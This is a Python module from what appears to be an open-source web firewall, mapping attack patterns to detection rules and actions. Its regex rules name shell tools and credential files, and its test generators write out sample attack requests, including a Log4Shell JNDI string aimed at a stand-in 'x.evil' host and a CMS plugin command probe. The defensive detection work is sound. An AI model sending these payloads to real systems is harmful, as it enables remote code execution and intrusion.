Download runtime/python/dibaguard/shield/playbook.py from DibaAi/DibaGuard-Open: direct link, hf CLI and curl.
- Browser
- Download file 17.9 kB
-
https://huggingface.co/DibaAi/DibaGuard-Open/resolve/main/runtime/python/dibaguard/shield/playbook.py
- Command line
-
hf download hf://DibaAi/DibaGuard-Open/runtime/python/dibaguard/shield/playbook.py
-
curl -L -o playbook.py https://huggingface.co/DibaAi/DibaGuard-Open/resolve/main/runtime/python/dibaguard/shield/playbook.py
17.9 kB
| """Playbook: recent attack patterns (2024-2026) as behaviour signatures over what the engine already measures, each | |
| with the family it maps to, the action the policy should take, and a synthetic generator used by the tests. | |
| The engine's learned tiers find the unknown; the playbook makes sure the known shapes of today's attacks are named | |
| precisely and answered with the right action, and that every one of them is exercised in the test suite. | |
| | id | pattern | seen as | family | | |
| |------|-------------------------------------------|----------------------------------------------------|------------| | |
| | A01 | HTTP/2 Rapid Reset (CVE-2023-44487) | floods of request+cancel: huge request rate, tiny bytes, no replies, one host | dos | | |
| | A02 | HTTP/2 CONTINUATION flood (2024) | long header streams: very large request bytes per request, rate | dos | | |
| | A03 | L7 flood from a botnet / residential proxies| many new sources, same path, high rate per site, low per source | ddos | | |
| | A04 | credential stuffing / password spraying | repeated POST to login from one source with 4xx, or many sources one path | bruteforce | | |
| | A05 | AI / LLM scrapers and aggressive crawlers | one source walks many distinct paths at a steady cadence, bot UA or none | bot | | |
| | A06 | API enumeration / BOLA (OWASP API1) | sequential ids on one endpoint, many 404/403 | scan | | |
| | A07 | WordPress / CMS exploit waves (xmlrpc, plugin RCE, wp-login) | known paths with payloads; many hosts probed | webattack | | |
| | A08 | JNDI / Log4Shell-style injection | ${jndi: patterns in any field | rce | | |
| | A09 | reflection / amplification floods (DNS, NTP, SSDP, memcached) | UDP, huge bytes per packet to one destination, many spoofed sources | ddos | | |
| | A10 | slow scans (nmap -T1, masscan spread) | ports walked over hours by one source | portscan | | |
| | A11 | SSH / RDP brute force | same (host, port) again and again, short failed connects | bruteforce | | |
| | A12 | chain: JSON-RPC abuse (eth_getLogs / debug_ / trace_ floods) | expensive methods at high rate from one client | dos | | |
| | A13 | chain: peer / sybil flood (eclipse attempt) | many new peers from one prefix, connection churn | ddos | | |
| | A14 | chain: mempool spam / dust | high rate of sendRawTransaction from one client | dos | | |
| """ | |
| from __future__ import annotations | |
| import re | |
| import numpy as np | |
| from dibaguard.shield.rx import Gap, Sig | |
| JNDI = re.compile(r"\$\{\s*(jndi|j\$\{|lower:j|upper:j|::-j)", re.I) | |
| WP_PATHS = ("/xmlrpc.php", "/wp-login.php", "/wp-json/wp/v2/users", "/wp-content/plugins/", "/wp-admin/admin-ajax.php", "/?rest_route=") | |
| # platform-agnostic request signatures (detection patterns in the spirit of the OWASP Core Rule Set). They fire on | |
| # the decoded canonical request text, for any platform (WordPress, Joomla, Drupal, Laravel, Django, APIs, ...). | |
| # Branches shaped "X .* Y" are rx.Gap matchers, not regex branches: on crafted input ("<a<a<a...", "../a../a...") a | |
| # backtracking regex rescans the text from every X (seconds on 16 KB); a Gap gives the same answer in one pass. The Go | |
| # fast path (go/dibaguard/sigs.go, RE2, linear by construction) keeps them as regex branches. | |
| _I = re.I | |
| SIGS = { | |
| # comments between UNION and SELECT: only comments without '*' inside here (linear); the SQL view of the canonical | |
| # text has every comment folded already (canon.views) | |
| "A15": Sig(r"union(\s|/\*[^*]*\*/|\+)+(all(\s|\+)+)?select|\bor\s+\d+\s*=\s*\d+|'\s*or\s*'[^']*'\s*=\s*'|updatexml\s*\(|extractvalue\s*\(" | |
| r"|\bsleep\s*\(\s*\d|benchmark\s*\(|waitfor\s+delay|information_schema|load_file\s*\(|into\s+(out|dump)file|;\s*drop\s+table" | |
| r"|pg_sleep\s*\(|'\s*;\s*--|'\s*--\s*-?(\s|$)", flags=_I), | |
| "A16": Sig(r"[\"\[]\$(ne|gt|gte|lt|lte|where|regex|nin|exists|expr|function)[\"\]]?\s*[:=\]]", flags=_I), | |
| "A17": Sig(r"(\.\./){2,}|(\.\.\\){2,}|/etc/(passwd|shadow|hosts)|/proc/self/(environ|cmdline)|win\.ini|boot\.ini" | |
| r"|php://(filter|input)|file:///|expect://|zip://|phar://" | |
| r"|\.\.[/\\](etc|proc|windows|winnt|\.ssh|\.git|\.aws)[/\\]", | |
| # one step up is enough when it lands on a secret or a system directory: ..[/\][^|\s]*\.(env|...)\b | |
| Gap([r"\.\.[/\\]", r"\.(env|ini|conf|config|cfg|yml|yaml|pem|key|bak|old|sql|db|sqlite|htpasswd|properties|git)\b"], r"[|\s]", _I), | |
| flags=_I), | |
| "A18": Sig(r"[;|&`]\s*(id|whoami|uname|printenv|hostname|env|ifconfig|ipconfig|netstat|nslookup|pwd|cat\s+/etc|wget\s|curl\s|nc\s|bash\s" | |
| r"|sh\s+-c|powershell)\b(?!\s*=)|[;|&`]\s*(ls|ps)\s|\$\(\s*(id|whoami|uname|printenv|hostname)" | |
| r"|\b(shell_exec|passthru|proc_open|popen)\s*\(|\b(system|exec|eval|assert)\s*\(\s*['\"$]|base64_decode\s*\(" | |
| r"|#post_render|#lazy_builder|#pre_render|connector\.minimal\.php|revslider/temp/update_extract|[?&]cmd=\w" | |
| r"|\(\)\s*\{\s*:;\s*\}", | |
| Gap([r"/cgi-bin/", r"(\.\.|%2e)"], None, _I), # /cgi-bin/.*(\.\.|%2e) | |
| flags=_I), | |
| "A19": Sig(r"<\s*script\b|\bon(error|load|mouseover|focus|toggle)\s*=|javascript\s*:|<\s*iframe\b|document\.cookie" | |
| # right after a quote that closed an attribute (onpageshow, onfocusin ...) | |
| r"|[\"']\s*/?\s*on[a-z]{3,}\s*=", | |
| Gap([r"<\s*svg", r"\bon\w+\s*="], ">", _I), # <\s*svg[^>]*\bon\w+\s*= | |
| # any event handler inside a tag; the HTML tokenizer also separates attributes with '/': <body/onpageshow=..> | |
| # (V-04) # <\s*[a-z][^>]*[\s/]on[a-z]{3,}\s*= | |
| Gap([r"<\s*[a-z]", r"[\s/]on[a-z]{3,}\s*="], ">", _I), | |
| flags=_I), | |
| "A20": Sig(r"\{\{\s*\d+\s*\*\s*\d+\s*\}\}|\$\{\s*\d+\s*\*\s*\d+\s*\}|<!entity|169\.254\.169\.254|metadata\.google\.internal" | |
| r"|__class__|__globals__|\{%\s*(import|include)", | |
| Gap([r"<!doctype", r"\["], ">", _I), # <!doctype[^>]*\[ | |
| flags=_I), | |
| "A21": Sig(r"/\.git/|/\.env\b|/\.svn/|/\.htpasswd|/\.aws/credentials|wp-config\.php\.(bak|old|save|swp|orig|txt)|/server-status|/phpinfo\.php" | |
| r"|/(backup|db|dump|database|site)\.(zip|tar|tar\.gz|tgz|sql|sql\.gz|7z)\b|/\.ds_store|/web\.config\.(bak|old)", flags=_I), | |
| # AI crawlers that declare themselves (the site's policy decides: challenge by default, 'bot': 'monitor' to allow) | |
| "A05": Sig(None, Gap([r"h:user-agent=", r"\b(gptbot|chatgpt-user|oai-searchbot|claudebot|claude-web|anthropic-ai|ccbot|bytespider|perplexitybot" | |
| r"|amazonbot|meta-externalagent|diffbot|omgilibot|youbot|cohere-ai|imagesiftbot|timpibot|ai2bot)\b"], r"\|", _I)), | |
| } | |
| # A07 (CMS exploit wave): only clear exploit shapes, never ordinary WordPress endpoints (admin-ajax heartbeat, wp-json posts) | |
| CMS_EXPLOIT = Sig(r"wp-file-manager/lib/php/connector|/wp-json/wp/v2/users/\d+", | |
| Gap([r"/xmlrpc\.php", r"system\.multicall"], None, _I), | |
| Gap([r"revslider", r"update_extract"], None, _I), | |
| Gap([r"revslider", r"show_image", r"\.\."], None, _I), | |
| Gap([r"/wp-admin/admin-ajax\.php", r"action=(revslider_show_image|duplicator_download)"], None, _I), | |
| Gap([r"com_fields", r"list\[fullordering\]"], None, _I), | |
| Gap([r"/user/register", r"element_parents", r"#value"], None, _I), | |
| flags=_I) | |
| EXPENSIVE_RPC = ("eth_getlogs", "debug_", "trace_", "eth_call", "eth_estimategas", "eth_sendrawtransaction") | |
| PLAYBOOK = [ | |
| {"id": "A01", "name": "HTTP/2 Rapid Reset", "family": "dos", "action": "rate_limit", "where": "edge-waf,net-sensor", | |
| "signature": "src_flows_h1 >= 200 and src_noreply_h1 > 0.8 and src_newport_h1 < 0.2 (one service hammered, nothing answered)"}, | |
| {"id": "A02", "name": "HTTP/2 CONTINUATION flood", "family": "dos", "action": "rate_limit", "where": "edge-waf", | |
| "signature": "request header bytes >> site p99 at high rate from one source"}, | |
| {"id": "A03", "name": "L7 botnet flood", "family": "ddos", "action": "challenge", "where": "edge-waf,net-sensor", | |
| "signature": "dst_newsrc_h1 > 0.5 and dst_flows_h1 >= 500: site pressure, many fresh sources, one path"}, | |
| {"id": "A04", "name": "credential stuffing", "family": "bruteforce", "action": "block", "where": "edge-waf", | |
| "signature": "repeated POST to a login path from one source with failures (status >= 400) -> session stream repeat + short"}, | |
| {"id": "A05", "name": "AI scraper / aggressive crawler", "family": "bot", "action": "challenge", "where": "edge-waf", | |
| "signature": "one source walks many distinct paths (newport share on the path hash high) at a steady cadence"}, | |
| {"id": "A06", "name": "API enumeration / BOLA", "family": "scan", "action": "challenge", "where": "edge-waf", | |
| "signature": "sequential ids on one endpoint with 4xx -> session stream newport high + noreply high"}, | |
| {"id": "A07", "name": "WordPress / CMS exploit wave", "family": "webattack", "action": "block", "where": "edge-waf", | |
| "signature": "known CMS paths with payloads; novelty high on a non-WordPress site"}, | |
| {"id": "A08", "name": "JNDI / Log4Shell", "family": "rce", "action": "block", "where": "edge-waf", | |
| "signature": "${jndi: (and its obfuscations) anywhere in the request"}, | |
| {"id": "A09", "name": "reflection / amplification", "family": "ddos", "action": "rate_limit", "where": "net-sensor", | |
| "signature": "UDP, large bytes per packet, one destination, many sources, dst_newsrc_h1 high"}, | |
| {"id": "A10", "name": "slow scan", "family": "portscan", "action": "block", "where": "net-sensor,host-firewall", | |
| "signature": "src_newport_h3 > 0.5 with noreply/synonly over the 30-min horizon (evidence accumulates for hours)"}, | |
| {"id": "A11", "name": "SSH / RDP brute force", "family": "bruteforce", "action": "block", "where": "net-sensor,host-firewall", | |
| "signature": "src_repeat_h2 > 0.6 with short / failed connects"}, | |
| {"id": "A12", "name": "chain RPC abuse", "family": "dos", "action": "rate_limit", "where": "chain-node", | |
| "signature": "expensive methods (eth_getLogs, debug_*, trace_*) at high rate from one client"}, | |
| {"id": "A13", "name": "chain peer / sybil flood", "family": "ddos", "action": "block", "where": "chain-node,net-sensor", | |
| "signature": "many new peers from one /24 with connection churn on the p2p port"}, | |
| {"id": "A14", "name": "chain mempool spam", "family": "dos", "action": "rate_limit", "where": "chain-node", | |
| "signature": "eth_sendRawTransaction at high rate from one client, tiny values"}, | |
| {"id": "A15", "name": "SQL injection", "family": "sqli", "action": "block", "where": "edge-waf", | |
| "signature": "UNION SELECT, boolean tautologies, error/time-based functions (updatexml, sleep, benchmark, pg_sleep), information_schema"}, | |
| {"id": "A16", "name": "NoSQL injection", "family": "nosqli", "action": "block", "where": "edge-waf", | |
| "signature": "MongoDB operators ($ne, $gt, $where, $regex) in JSON bodies or query arrays"}, | |
| {"id": "A17", "name": "path traversal / LFI", "family": "traversal", "action": "block", "where": "edge-waf", | |
| "signature": "../ chains, /etc/passwd, php://filter, file:// and other wrapper schemes"}, | |
| {"id": "A18", "name": "RCE / command injection", "family": "rce", "action": "block", "where": "edge-waf", | |
| "signature": "shell metacharacters + commands, PHP exec functions, Drupalgeddon render arrays, plugin connector exploits, Shellshock"}, | |
| {"id": "A19", "name": "cross-site scripting", "family": "xss", "action": "block", "where": "edge-waf", | |
| "signature": "<script>, event-handler attributes, javascript: URIs, SVG/iframe injection"}, | |
| {"id": "A20", "name": "SSTI / XXE / SSRF", "family": "ssti", "action": "block", "where": "edge-waf", | |
| "signature": "{{7*7}} templates, <!ENTITY, cloud metadata endpoints (169.254.169.254), Python object traversal"}, | |
| {"id": "A21", "name": "sensitive file probe", "family": "scan", "action": "challenge", "where": "edge-waf", | |
| "signature": "/.git/, /.env, config backups, database dumps, server-status, phpinfo"}, | |
| {"id": "A22", "name": "SQL injection (context analysis)", "family": "sqli", "action": "block", "where": "edge-waf", | |
| "signature": "a parameter (query, body, cookie, header, or a key) that, decoded, breaks out of a numeric / string / parenthesised / " | |
| "LIKE query context into a tautology, UNION extraction, stacked statement, time delay, error-based extractor, " | |
| "scalar sub-query or comment cut - judged by the database tier (http/sqlctx.py)"}, | |
| ] | |
| BY_ID = {p["id"]: p for p in PLAYBOOK} | |
| def match_http(text: str) -> list[str]: | |
| """request-level signatures that need no statistics; behaviours (floods, stuffing, scraping) are the engine's job. | |
| Order = precedence of the family reported (the most specific / severe first).""" | |
| out = [] | |
| if JNDI.search(text): | |
| out.append("A08") | |
| if CMS_EXPLOIT.search(text): | |
| out.append("A07") | |
| for pid in ("A18", "A15", "A16", "A20", "A17", "A19", "A21", "A05"): | |
| if SIGS[pid].search(text): | |
| out.append(pid) | |
| return out | |
| def match_rpc(method: str) -> list[str]: | |
| m = method.lower() | |
| if m.startswith("eth_sendrawtransaction"): | |
| return ["A14"] | |
| if any(m.startswith(e) for e in EXPENSIVE_RPC): | |
| return ["A12"] | |
| return [] | |
| def name_family(family: str) -> str: | |
| """which playbook entries a detected family corresponds to (for the report's 'what is this')""" | |
| return ", ".join(p["id"] + " " + p["name"] for p in PLAYBOOK if p["family"] == family) | |
| # ---------------------------------------------------------------- synthetic generators (tests + demos) | |
| def gen_flows(kind: str, rng, t0: float, src: str = "6.6.6.6", n: int | None = None) -> dict: | |
| """flow records (engine FLOW_FIELDS) of one attack pattern, time-ordered""" | |
| def rec(k, t, dst, dport, proto, bi, pi, bo, po, cf, sf, fl, dur): | |
| return {"t": np.sort(t), "src": np.full(k, src), "dst": dst, "dport": dport, "proto": np.full(k, proto), "bytes_in": bi, "pkts_in": pi, | |
| "bytes_out": bo, "pkts_out": po, "client_flags": np.full(k, cf), "server_flags": np.full(k, sf), "flags": np.full(k, fl), "duration_ms": dur} | |
| hosts = [f"h{i}" for i in range(50)] | |
| if kind == "A01": # rapid reset: 5000 request+cancel in 60 s at one host:443 | |
| k = n or 5000 | |
| return rec(k, rng.uniform(t0, t0 + 60, k), np.full(k, "h1"), np.full(k, 443), 6, np.full(k, 120), np.full(k, 2), np.full(k, 0), np.full(k, 0), 0x12, 0, 0x16, np.full(k, 2)) | |
| if kind == "A09": # amplification: UDP 123 to one victim from many spoofed sources, large replies | |
| k = n or 4000 | |
| return {**rec(k, rng.uniform(t0, t0 + 120, k), np.full(k, "victim"), np.full(k, 123), 17, np.full(k, 1400), np.full(k, 1), np.full(k, 0), np.full(k, 0), 0, 0, 0, np.full(k, 1)), | |
| "src": np.array([f"198.51.{rng.integers(0, 255)}.{rng.integers(1, 255)}" for _ in range(k)])} | |
| if kind == "A10": # slow scan: 400 probes over 2 hours | |
| k = n or 400 | |
| return rec(k, rng.uniform(t0, t0 + 7200, k), rng.choice(hosts, k), rng.integers(1, 65535, k), 6, np.full(k, 60), np.full(k, 1), np.full(k, 0), np.full(k, 0), 2, 0, 2, np.full(k, 1)) | |
| if kind == "A11": # ssh brute force: 900 logins in 5 min | |
| k = n or 900 | |
| return rec(k, rng.uniform(t0, t0 + 300, k), np.full(k, "h1"), np.full(k, 22), 6, rng.integers(200, 400, k), rng.integers(5, 9, k), rng.integers(200, 400, k), rng.integers(5, 9, k), 27, 27, 31, rng.integers(50, 200, k)) | |
| if kind == "A13": # peer flood: 3000 connections to the p2p port from one /24 | |
| k = n or 3000 | |
| return {**rec(k, rng.uniform(t0, t0 + 600, k), np.full(k, "node"), np.full(k, 30303), 6, np.full(k, 300), np.full(k, 3), np.full(k, 100), np.full(k, 1), 0x12, 0x12, 0x16, rng.integers(5, 50, k)), | |
| "src": np.array([f"203.0.113.{rng.integers(1, 255)}" for _ in range(k)])} | |
| raise KeyError(kind) | |
| def gen_http(kind: str, rng, n: int | None = None) -> list[dict]: | |
| """HTTP requests {text, client, status, t} of one pattern (canonical text as dibaguard.http.parse makes it)""" | |
| if kind == "A04": | |
| k = n or 300 | |
| return [{"text": f"post /login | b:user=admin | b:pass=pw{i} | h:user-agent=mozilla/5.0", "client": "9.9.9.9", "status": 401, "t": float(i)} for i in range(k)] | |
| if kind == "A05": | |
| k = n or 400 | |
| return [{"text": f"get /article/{rng.integers(1, 10**6)} | h:user-agent=gptbot/1.2", "client": "8.8.8.8", "status": 200, "t": 2.0 * i} for i in range(k)] | |
| if kind == "A06": | |
| k = n or 300 | |
| return [{"text": f"get /api/v1/users/{1000 + i}/orders | h:authorization=bearer x", "client": "7.7.7.7", "status": 403 if i % 3 else 200, "t": 0.5 * i} for i in range(k)] | |
| if kind == "A07": | |
| return [{"text": "post /xmlrpc.php | b:<methodcall><methodname>system.multicall</methodname> | h:user-agent=python-requests", "client": "5.5.5.5", "status": 200, "t": 0.0}, | |
| {"text": "get /wp-content/plugins/revslider/temp/update_extract/revslider/x.php?cmd=id | h:user-agent=curl", "client": "5.5.5.5", "status": 404, "t": 1.0}] | |
| if kind == "A08": | |
| return [{"text": "get / | h:user-agent=${jndi:ldap://x.evil/a} | h:x-api-version=${${lower:j}ndi:dns://y}", "client": "4.4.4.4", "status": 200, "t": 0.0}] | |
| raise KeyError(kind) | |